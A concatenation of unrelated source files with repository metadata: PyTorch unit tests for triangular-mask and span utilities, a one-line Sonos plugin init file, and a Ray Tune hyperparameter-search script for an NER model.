0.0] ], [ [0, 11], [0, 0], [0, 0], ] ]) self.trilWithoutDiagonalRes = torch.tensor([ [ [1.0, 2.0, 3.0], [0.0, 2.0, 3.0], [0.0, 0.0, 3.0] ], [ [10, 11, 12], [0, 14, 15], [0, 0, 18], ] ]) self.trilWithoutDiagonalResRecShapeA = torch.tensor([ [ [1.0, 2.0, 3.0], [0.0, 2.0, 3.0] ], [ [10, 11, 12], [0, 14, 15] ] ]) self.trilWithoutDiagonalResRecShapeB = torch.tensor([ [ [1.0, 2.0], [0.0, 2.0], [0.0, 0.0] ], [ [10, 11], [0, 14], [0, 0], ] ]) self.triuRes = torch.tensor([ [ [0.0, 0.0, 0.0], [1.0, 0.0, 0.0], [1.0, 2.0, 0.0] ], [ [0, 0, 0], [13, 0, 0], [16, 17, 0], ] ]) self.triuResRecShapeA = torch.tensor([ [ [0.0, 0.0, 0.0], [1.0, 0.0, 0.0] ], [ [0, 0, 0], [13, 0, 0] ] ]) self.triuResRecShapeB = torch.tensor([ [ [0.0, 0.0], [1.0, 0.0], [1.0, 2.0] ], [ [0, 0], [13, 0], [16, 17], ] ]) self.triuWithoutDiagonalRes = torch.tensor([ [ [1.0, 0.0, 0.0], [1.0, 2.0, 0.0], [1.0, 2.0, 3.0] ], [ [10, 0, 0], [13, 14, 0], [16, 17, 18], ] ]) self.triuWithoutDiagonalResRecShapeA = torch.tensor([ [ [1.0, 0.0, 0.0], [1.0, 2.0, 0.0] ], [ [10, 0, 0], [13, 14, 0] ] ]) self.triuWithoutDiagonalResRecShapeB = torch.tensor([ [ [1.0, 0.0], [1.0, 2.0], [1.0, 2.0] ], [ [10, 0], [13, 14], [16, 17], ] ]) def test_batch_tril_set(self): """ Unit test for tril set util. This util should set lower triangular to given value """ self.assertTrue(torch.equal(batch_tril_set(self.batch, 0.0), self.trilRes), msg="Difference:\n{}".format(self.trilRes - batch_tril_set(self.batch, 0.0))) self.assertTrue(torch.equal(batch_tril_set(self.batchRectangleShapeA, 0.0), self.trilResRecShapeA), msg="Difference:\n{}".format( self.trilResRecShapeA - batch_tril_set(self.batchRectangleShapeA, 0.0))) self.assertTrue(torch.equal(batch_tril_set(self.batchRectangleShapeB, 0.0), self.trilResRecShapeB), msg="Difference:\n{}".format( self.trilResRecShapeB - batch_tril_set(self.batchRectangleShapeB, 0.0))) # check that original tensors don't changed self.assertTrue(torch.equal(self.batch, self.batchClone)) self.assertTrue(torch.equal(self.batchRectangleShapeA, self.batchRectangleShapeAClone)) self.assertTrue(torch.equal(self.batchRectangleShapeB, self.batchRectangleShapeBClone)) def test_batch_tril_set_in_place(self): """ Unit test for tril set util working in place. This util should set lower triangular to given value """ batch = self.batch.clone() shapeA = self.batchRectangleShapeA.clone() shapeB = self.batchRectangleShapeB.clone() self.assertTrue(torch.equal(batch_tril_set(batch, 0.0, True, True), self.trilRes), msg="Difference:\n{}".format(self.trilRes - batch_tril_set(batch, 0.0, True, True))) self.assertTrue(torch.equal(batch_tril_set(shapeA, 0.0, True, True), self.trilResRecShapeA), msg="Difference:\n{}".format(self.trilResRecShapeA - batch_tril_set(shapeA, 0.0, True, True))) self.assertTrue(torch.equal(batch_tril_set(shapeB, 0.0, True, True), self.trilResRecShapeB), msg="Difference:\n{}".format(self.trilResRecShapeB - batch_tril_set(shapeB, 0.0, True, True))) self.assertTrue(torch.equal(batch, self.trilRes), msg="Difference:\n{}".format(self.trilRes - batch)) self.assertTrue(torch.equal(shapeA, self.trilResRecShapeA), msg="Difference:\n{}".format(self.trilResRecShapeA - shapeA)) self.assertTrue(torch.equal(shapeB, self.trilResRecShapeB), msg="Difference:\n{}".format(self.trilResRecShapeB - shapeB)) def test_batch_tril_set_without_diagonal(self): """ Unit test for tril set util. This util should set lower triangular to given value, this test tests setting whole lower triangular without the diagonal elements. """ self.assertTrue(torch.equal(batch_tril_set(self.batch, 0.0, False), self.trilWithoutDiagonalRes), msg="Difference:\n{}".format( self.trilWithoutDiagonalRes - batch_tril_set(self.batch, 0.0, False))) self.assertTrue( torch.equal(batch_tril_set(self.batchRectangleShapeA, 0.0, False), self.trilWithoutDiagonalResRecShapeA), msg="Difference:\n{}".format( self.trilWithoutDiagonalResRecShapeA - batch_tril_set(self.batchRectangleShapeA, 0.0, False))) self.assertTrue( torch.equal(batch_tril_set(self.batchRectangleShapeB, 0.0, False), self.trilWithoutDiagonalResRecShapeB), msg="Difference:\n{}".format( self.trilWithoutDiagonalResRecShapeB - batch_tril_set(self.batchRectangleShapeB, 0.0, False))) # check that original tensors don't changed self.assertTrue(torch.equal(self.batch, self.batchClone)) self.assertTrue(torch.equal(self.batchRectangleShapeA, self.batchRectangleShapeAClone)) self.assertTrue(torch.equal(self.batchRectangleShapeB, self.batchRectangleShapeBClone)) def test_batch_tril_set_without_diagonal_in_place(self): """ Unit test for tril set util working in place. This util should set lower triangular to given value, this test tests setting whole lower triangular without the diagonal elements. """ batch = self.batch.clone() shapeA = self.batchRectangleShapeA.clone() shapeB = self.batchRectangleShapeB.clone() self.assertTrue(torch.equal(batch_tril_set(batch, 0.0, False, True), self.trilWithoutDiagonalRes), msg="Difference:\n{}".format( self.trilWithoutDiagonalRes - batch_tril_set(batch, 0.0, False, True))) self.assertTrue(torch.equal(batch_tril_set(shapeA, 0.0, False, True), self.trilWithoutDiagonalResRecShapeA), msg="Difference:\n{}".format( self.trilWithoutDiagonalResRecShapeA - batch_tril_set(shapeA, 0.0, False, True))) self.assertTrue(torch.equal(batch_tril_set(shapeB, 0.0, False, True), self.trilWithoutDiagonalResRecShapeB), msg="Difference:\n{}".format( self.trilWithoutDiagonalResRecShapeB - batch_tril_set(shapeB, 0.0, False, True))) self.assertTrue(torch.equal(batch, self.trilWithoutDiagonalRes), msg="Difference:\n{}".format(self.trilWithoutDiagonalRes - batch)) self.assertTrue(torch.equal(shapeA, self.trilWithoutDiagonalResRecShapeA), msg="Difference:\n{}".format(self.trilWithoutDiagonalResRecShapeA - shapeA)) self.assertTrue(torch.equal(shapeB, self.trilWithoutDiagonalResRecShapeB), msg="Difference:\n{}".format(self.trilWithoutDiagonalResRecShapeB - shapeB)) def test_batch_triu_set(self): """ Unit test for triu set util. This util should set upper triangular to given value """ self.assertTrue(torch.equal(batch_triu_set(self.batch, 0.0), self.triuRes), msg="Difference:\n{}".format(self.triuRes - batch_triu_set(self.batch, 0.0))) self.assertTrue(torch.equal(batch_triu_set(self.batchRectangleShapeA, 0.0), self.triuResRecShapeA), msg="Difference:\n{}".format( self.triuResRecShapeA - batch_triu_set(self.batchRectangleShapeA, 0.0))) self.assertTrue(torch.equal(batch_triu_set(self.batchRectangleShapeB, 0.0), self.triuResRecShapeB), msg="Difference:\n{}".format( self.triuResRecShapeB - batch_triu_set(self.batchRectangleShapeB, 0.0))) # check that original tensors don't changed self.assertTrue(torch.equal(self.batch, self.batchClone)) self.assertTrue(torch.equal(self.batchRectangleShapeA, self.batchRectangleShapeAClone)) self.assertTrue(torch.equal(self.batchRectangleShapeB, self.batchRectangleShapeBClone)) def test_batch_triu_set_in_place(self): """ Unit test for triu set util working in place. This util should set upper triangular to given value """ batch = self.batch.clone() shapeA = self.batchRectangleShapeA.clone() shapeB = self.batchRectangleShapeB.clone() self.assertTrue(torch.equal(batch_triu_set(batch, 0.0, True, True), self.triuRes), msg="Difference:\n{}".format(self.triuRes - batch_triu_set(batch, 0.0, True, True))) self.assertTrue(torch.equal(batch_triu_set(shapeA, 0.0, True, True), self.triuResRecShapeA), msg="Difference:\n{}".format( self.triuResRecShapeA - batch_triu_set(shapeA, 0.0, True, True))) self.assertTrue(torch.equal(batch_triu_set(shapeB, 0.0, True, True), self.triuResRecShapeB), msg="Difference:\n{}".format( self.triuResRecShapeB - batch_triu_set(shapeB, 0.0, True, True))) self.assertTrue(torch.equal(batch, self.triuRes), msg="Difference:\n{}".format(self.triuRes - batch)) self.assertTrue(torch.equal(shapeA, self.triuResRecShapeA), msg="Difference:\n{}".format(self.triuResRecShapeA - shapeA)) self.assertTrue(torch.equal(shapeB, self.triuResRecShapeB), msg="Difference:\n{}".format(self.triuResRecShapeB - shapeB)) def test_batch_triu_set_without_diagonal(self): """ Unit test for triu set util. This util should set upper triangular to given value, this test tests setting whole upper triangular without the diagonal elements. """ self.assertTrue(torch.equal(batch_triu_set(self.batch, 0.0, False), self.triuWithoutDiagonalRes), msg="Difference:\n{}".format( self.triuWithoutDiagonalRes - batch_triu_set(self.batch, 0.0, False))) self.assertTrue( torch.equal(batch_triu_set(self.batchRectangleShapeA, 0.0, False), self.triuWithoutDiagonalResRecShapeA), msg="Difference:\n{}".format( self.triuWithoutDiagonalResRecShapeA - batch_triu_set(self.batchRectangleShapeA, 0.0, False))) self.assertTrue( torch.equal(batch_triu_set(self.batchRectangleShapeB, 0.0, False), self.triuWithoutDiagonalResRecShapeB), msg="Difference:\n{}".format( self.triuWithoutDiagonalResRecShapeB - batch_triu_set(self.batchRectangleShapeB, 0.0, False))) # check that original tensors don't changed self.assertTrue(torch.equal(self.batch, self.batchClone)) self.assertTrue(torch.equal(self.batchRectangleShapeA, self.batchRectangleShapeAClone)) self.assertTrue(torch.equal(self.batchRectangleShapeB, self.batchRectangleShapeBClone)) def test_batch_triu_set_without_diagonal_in_place(self): """ Unit test for triu set util working in place. This util should set upper triangular to given value, this test tests setting whole upper triangular without the diagonal elements. """ batch = self.batch.clone() shapeA = self.batchRectangleShapeA.clone() shapeB = self.batchRectangleShapeB.clone() self.assertTrue(torch.equal(batch_triu_set(batch, 0.0, False, True), self.triuWithoutDiagonalRes), msg="Difference:\n{}".format( self.triuWithoutDiagonalRes - batch_triu_set(batch, 0.0, False, True))) self.assertTrue(torch.equal(batch_triu_set(shapeA, 0.0, False, True), self.triuWithoutDiagonalResRecShapeA), msg="Difference:\n{}".format( self.triuWithoutDiagonalResRecShapeA - batch_triu_set(shapeA, 0.0, False, True))) self.assertTrue(torch.equal(batch_triu_set(shapeB, 0.0, False, True), self.triuWithoutDiagonalResRecShapeB), msg="Difference:\n{}".format( self.triuWithoutDiagonalResRecShapeB - batch_triu_set(shapeB, 0.0, False, True))) self.assertTrue(torch.equal(batch, self.triuWithoutDiagonalRes), msg="Difference:\n{}".format(self.triuWithoutDiagonalRes - batch)) self.assertTrue(torch.equal(shapeA, self.triuWithoutDiagonalResRecShapeA), msg="Difference:\n{}".format(self.triuWithoutDiagonalResRecShapeA - shapeA)) self.assertTrue(torch.equal(shapeB, self.triuWithoutDiagonalResRecShapeB), msg="Difference:\n{}".format(self.triuWithoutDiagonalResRecShapeB - shapeB)) def test_span_mask(self): """ Unit test of span mask util. """ res = span_mask(4, 3) self.assertTrue( torch.equal(res, torch.tensor([[0, 0], [0, 1], [0, 2], [1, 1], [1, 2], [1, 3], [2, 2], [2, 3], [3, 3]])), msg=str(res)) res = span_mask(3, 1) self.assertTrue( torch.equal(res, torch.tensor([[0, 0], [1, 1], [2, 2]])), msg=str(res)) res = span_mask(3, 4) self.assertTrue( torch.equal(res, torch.tensor([[0, 0], [0, 1], [0, 2], [1, 1], [1, 2], [2, 2]])), msg=str(res)) with self.assertRaises(AssertionError): span_mask(0, 1) with self.assertRaises(AssertionError): span_mask(1, 0) with self.assertRaises(AssertionError): span_mask(0, 0) class TestProliferate(unittest.TestCase): """ Test of the proliferate method. """ def test_proliferate(self): """ Base unit test of the proliferate """ self.assertTrue(torch.equal( proliferate(torch.tensor([[1, 0], [0, 1]]), 1), torch.tensor([[1, 0], [0, 1]]) )) with self.assertRaises(AssertionError): self.assertTrue(torch.equal( proliferate(torch.tensor([[1, 0], [0, 1]]), 0), torch.tensor([], dtype=torch.long) )) with self.assertRaises(AssertionError): proliferate(torch.tensor([[1, 0], [0, 1]]), -1) self.assertTrue(torch.equal( proliferate(torch.tensor([[1, 0], [0, 1]]), 4), torch.tensor([[1, 0], [1, 0], [1, 0], [1, 0], [0, 1], [0, 1], [0, 1], [0, 1]]) )) self.assertTrue(torch.equal( proliferate(torch.tensor([[1, 3], [0, 0], [0, 1]]), 3), torch.tensor([[1, 3], [1, 3], [1, 3], [0, 0], [0, 0], [0, 0], [0, 1], [0, 1], [0, 1]]) )) def test_proliferate_multi_dim(self): """ Tests proliferate on multi dim elements. """ self.assertTrue(torch.equal( proliferate(torch.tensor([[[1, 0], [2, 0]], [[0, 1], [1, 1]]]), 4), torch.tensor( [ [[1, 0], [2, 0]], [[1, 0], [2, 0]], [[1, 0], [2, 0]], [[1, 0], [2, 0]], [[0, 1], [1, 1]], [[0, 1], [1, 1]], [[0, 1], [1, 1]], [[0, 1], [1, 1]] ] )) ) def test_proliferate_single(self): """ Tests proliferate on elements that are no tensors but simple units. """ self.assertTrue(torch.equal( proliferate(torch.tensor([1, 0, 3]), 3), torch.tensor( [ 1, 1, 1, 0, 0, 0, 3, 3, 3 ] )) ) if __name__ == '__main__': unittest.main()

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0

null

0

1

0

null

0

6

07db98a90df4856f178dd4bc0f8420ae904d6746

25

py

Python

__init__.py

juergenpabel/kalliope_neuron_sonos

de07206f2f2969e186c3f4c37761f378bdb11b91

[ "MIT" ]

null

__init__.py

juergenpabel/kalliope_neuron_sonos

de07206f2f2969e186c3f4c37761f378bdb11b91

[ "MIT" ]

null

__init__.py

juergenpabel/kalliope_neuron_sonos

de07206f2f2969e186c3f4c37761f378bdb11b91

[ "MIT" ]

null

from .sonos import Sonos

12.5

24

0.8

4

25

5

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0

0.16

25

1

25

0.952381

0

1

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null

0

1

0

1

0

1

0

6

07e996b6f692d272ce58d05821769a0a6550ff24

21,081

py

Python

train-template.py

Fangyh09/s_t

72bc9f7abfe937f46b7175c39d23acb914f6293d

[ "Apache-2.0" ]

null

train-template.py

Fangyh09/s_t

72bc9f7abfe937f46b7175c39d23acb914f6293d

[ "Apache-2.0" ]

null

train-template.py

Fangyh09/s_t

72bc9f7abfe937f46b7175c39d23acb914f6293d

[ "Apache-2.0" ]

null

from model.data_utils import CoNLLDataset from model.ner_model import NERModel from config import Config from tensorflow.python import debug as tf_debug import tensorflow as tf import ray import ray.tune as tune def main2(): # create instance of config config = Config() # build model model = NERModel(config) model.build() # model.restore_session("results/crf/model.weights/") # optional, restore weights #model.reinitialize_weights("proj") # create datasets dev = CoNLLDataset(config.filename_dev, config.processing_word, config.processing_tag, config.max_iter) train = CoNLLDataset(config.filename_train, config.processing_word, config.processing_tag, config.max_iter) # train model model.train(train, dev) def main(): default_config = Config() dev = CoNLLDataset(default_config.filename_dev, default_config.processing_word, default_config.processing_tag, default_config.max_iter) train = CoNLLDataset(default_config.filename_train, default_config.processing_word, default_config.processing_tag, default_config.max_iter) # @ray.remote(num_gpus=1) def train_func(_config, reporter): # tf.reset_default_graph() config = Config() for (key, val) in _config.items(): # config[key] = val setattr(config, key[3:], val) # config["dir_output"] = "" setattr(config, "dir_output", "") setattr(config, "nepochs", 50) model = NERModel(config) model.build() model.train(train, dev, reporter) # ray.init(redis_address="192.168.1.201:20198") ray.init(num_cpus=1, num_gpus=2) tune.register_trainable("train_func_final", train_func) # with tf.variable_scope("train_step"): # if _lr_m == 'adam': # sgd method # optimizer = tf.train.AdamOptimizer(lr) # elif _lr_m == 'adagrad': # optimizer = tf.train.AdagradOptimizer(lr) # elif _lr_m == 'sgd': # optimizer = tf.train.GradientDescentOptimizer(lr) # elif _lr_m == 'rmsprop': # optimizer = tf.train.RMSPropOpt tune.run_experiments({ # "exp-go1": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "/home/cewu/thirdHDD/yinghong/ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # # "use_reg": tune.grid_search([False, True]), # "hidden_size_lstm": 300, # "hidden_size_char": tune.grid_search([100, 50, 30]), # "dim_char": tune.grid_search([100, 50, 30]), # # "filter_sizes": tune.grid_search([[3], [3,4], [3,4,5]]), # # "use_cnn": tune.grid_search([True, False]), # "input_keep_prob": 1, # "output_keep_prob": 1, # # "lstm_layers": tune.grid_search([1, 2, 5]), # "clip": tune.grid_search([0, 5]), # "lr_method": "adam", # "lr_decay": 0.95, # "lr": 0.005, # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, ##################### # run on sjtu02 ##################### # "exp-go2-epoch40": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # # "00-use_reg": tune.grid_search([False, True]), # "03-hidden_size_lstm": 300, # # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # "05-hidden_size_char": 100, # # # "07-dim_char": tune.grid_search([100, 50, 30]), # "07-dim_char": 100, # "09-filter_sizes": tune.grid_search([[3], [3,4], [3,4,5]]), # "11-use_cnn": True, # "13-input_keep_prob": tune.grid_search([1, 0.5]), # "15-output_keep_prob": tune.grid_search([1, 0.5]), # "17-lstm_layers": tune.grid_search([1, 2, 5]), # # "19-clip": tune.grid_search([0, 5]), # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": 0.001, # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go2-epoch50-04": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # # "00-use_reg": tune.grid_search([False, True]), # # "03-hidden_size_lstm": 300, # # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # # "05-hidden_size_char": 100, # # # "07-dim_char": tune.grid_search([100, 50, 30]), # # "07-dim_char": 100, # "09-filter_sizes": tune.grid_search([[3,4], [3,4,5]]), # "11-use_cnn": True, # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 2, # "19-clip": 5, # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": 0.001, # "27-decay_mode": tune.grid_search(["normal", "greedy", "greedy-half"]) # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go2-epoch50-03": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # # "00-use_reg": tune.grid_search([False, True]), # # "03-hidden_size_lstm": 300, # # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # # "05-hidden_size_char": 100, # # # "07-dim_char": tune.grid_search([100, 50, 30]), # # "07-dim_char": 100, # "09-filter_sizes": tune.grid_search([[3, 4], [3, 4, 5]]), # "11-use_cnn": True, # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 2, # "19-clip": 5, # "21-lr_method": "sgd", # "23-lr_decay": 0.9, # "25-lr": 0.1, # "27-decay_mode": "greedy-half" # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go2-epoch50-02": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # # "00-use_reg": tune.grid_search([False, True]), # # "03-hidden_size_lstm": 300, # # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # # "05-hidden_size_char": 100, # # # "07-dim_char": tune.grid_search([100, 50, 30]), # # "07-dim_char": 100, # "09-filter_sizes": tune.grid_search([[3, 4], [3, 4, 5]]), # "11-use_cnn": True, # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 2, # "19-clip": 5, # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": 0.001, # "27-decay_mode": tune.grid_search(["normal", "greedy", "greedy-half"]), # "29-use_crf": False # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go2-epoch50-01": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # # "00-use_reg": tune.grid_search([False, True]), # # "03-hidden_size_lstm": 300, # # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # # "05-hidden_size_char": 100, # # # "07-dim_char": tune.grid_search([100, 50, 30]), # # "07-dim_char": 100, # "09-filter_sizes": tune.grid_search([[3, 4], [3, 4, 5]]), # "11-use_cnn": True, # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 2, # "19-clip": 5, # "21-lr_method": "sgd", # "23-lr_decay": 0.9, # "25-lr": 0.1, # "27-decay_mode": "greedy-half", # "29-use_crf": False # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go3": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # "00-use_reg": tune.grid_search([False, True]), # "03-hidden_size_lstm": 300, # # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # "05-hidden_size_char": 100, # # # "07-dim_char": tune.grid_search([100, 50, 30]), # "07-dim_char": 100, # # "09-filter_sizes": tune.grid_search([[3], [3, 4], [3, 4, 5]]), # # "11-use_cnn": tune.grid_search([True, False]), # "13-input_keep_prob": tune.grid_search([1, 0.5]), # "15-output_keep_prob": tune.grid_search([1, 0.5]), # "17-lstm_layers": tune.grid_search([1, 2, 5]), # "19-clip": tune.grid_search([0, 5]), # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": tune.grid_search([0.001, 0.003]), # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp2": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "/home/cewu/thirdHDD/yinghong/ray_results/choose_bz-clip", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # "config": { # "batch_size": tune.grid_search([10, 15, 20]), # "clip": 5 # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp1": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "/home/cewu/thirdHDD/yinghong/ray_results/choose_bz", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # "config": { # "batch_size": tune.grid_search([10, 15, 20]), # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # } ################### # run on sjtu01 ################### # "exp-go3-epoch50-1": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 2, # "19-clip": tune.grid_search([5,0]), # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": 0.001, # "27-decay_mode": tune.grid_search(["normal", "greedy", "greedy-half"]) # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go3-epoch50-2": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 2, # "19-clip": tune.grid_search([5,0]), # "21-lr_method": "sgd", # "23-lr_decay": 0.9, # "25-lr": 0.1, # "27-decay_mode": tune.grid_search(["greedy-half"]) # # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go3-epoch50-3": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 1, # "19-clip": 5, # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": 0.003, # "27-decay_mode": tune.grid_search(["normal", "greedy", "greedy-half"]) # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go3-epoch50-4": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 1, # "19-clip": 5, # "21-lr_method": "sgd", # "23-lr_decay": 0.9, # "25-lr": 0.1, # "27-decay_mode": tune.grid_search(["greedy-half"]) # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go3-epoch50-5": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 2, # "19-clip": tune.grid_search([0, 5]), # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": 0.001, # "27-decay_mode": tune.grid_search(["normal"]), # "29-use_crf": False # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # "exp-go3-epoch50-6": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/go1", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # "13-input_keep_prob": 1, # "15-output_keep_prob": 1, # "17-lstm_layers": 1, # "19-clip": 5, # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": 0.003, # "27-decay_mode": tune.grid_search(["normal"]), # "29-use_crf": False # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, # # "exp-final-epoch30": { # "run": "train_func_final", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/06-17", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # # "00-use_reg": tune.grid_search([False, True]), # # "03-hidden_size_lstm": 300, # # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # # "05-hidden_size_char": 100, # # # "07-dim_char": tune.grid_search([100, 50, 30]), # # "07-dim_char": 100, # "17-lstm_layers": 2, # "19-clip": 5, # "21-lr_method": "adam", # "23-lr_decay": 0.9, # "25-lr": 0.001, # "27-decay_mode": "none", # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, "exp-final-epoch30-sgd": { "run": "train_func_final", "stop": {"mean_accuracy": 99}, "local_dir": "./ray_results/06-17", "trial_resources": {'cpu': 0, 'gpu': 1}, # "num_gpus": 1, "config": { # "00-use_reg": tune.grid_search([False, True]), # "03-hidden_size_lstm": 300, # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # "05-hidden_size_char": 100, # # "07-dim_char": tune.grid_search([100, 50, 30]), # "07-dim_char": 100, "17-lstm_layers": 2, "19-clip": 5, "21-lr_method": "sgd", "23-lr_decay": 0.9, "25-lr": 0.015, "27-decay_mode": "none", # "25-lr": tune.grid_search([0.001, 0.005]), # "resources": {"cpu": 1, "gpu": 1} # "momentum": tune.grid_search([0.1, 0.2]), } }, # "exp-final-epoch30-sgd": { # "run": "train_func", # "stop": {"mean_accuracy": 99}, # "local_dir": "./ray_results/final", # "trial_resources": {'cpu': 0, 'gpu': 1}, # # "num_gpus": 1, # # "config": { # # "00-use_reg": tune.grid_search([False, True]), # # "03-hidden_size_lstm": 300, # # # "05-hidden_size_char": tune.grid_search([100, 50, 30]), # # "05-hidden_size_char": 100, # # # "07-dim_char": tune.grid_search([100, 50, 30]), # # "07-dim_char": 100, # "17-lstm_layers": 2, # "19-clip": 5, # "21-lr_method": "sgd", # "23-lr_decay": 0.9, # "25-lr": 0.015, # "27-decay_mode": "4normal", # # "25-lr": tune.grid_search([0.001, 0.005]), # # # "resources": {"cpu": 1, "gpu": 1} # # "momentum": tune.grid_search([0.1, 0.2]), # } # }, }) if __name__ == "__main__": main()

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0.162515

0.068924

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0

6

ed247929e7966abd23d3edf8e889759219a4ac74

8,471

py

Python

tensorflow/python/training/rmsprop_test.py

ln0119/tensorflow-fast-rcnn

e937e6394818c9a320754237651d7fe083b1020d

[ "Apache-2.0" ]

73

2017-01-05T09:06:08.000Z

2021-11-06T14:00:50.000Z

tensorflow/python/training/rmsprop_test.py

minhhoai2/tensorflow

da88903d5e29230d68d861053aa1dea1432c0696

[ "Apache-2.0" ]

8

2017-04-10T10:36:20.000Z

2021-02-07T01:02:32.000Z

tensorflow/python/training/rmsprop_test.py

minhhoai2/tensorflow

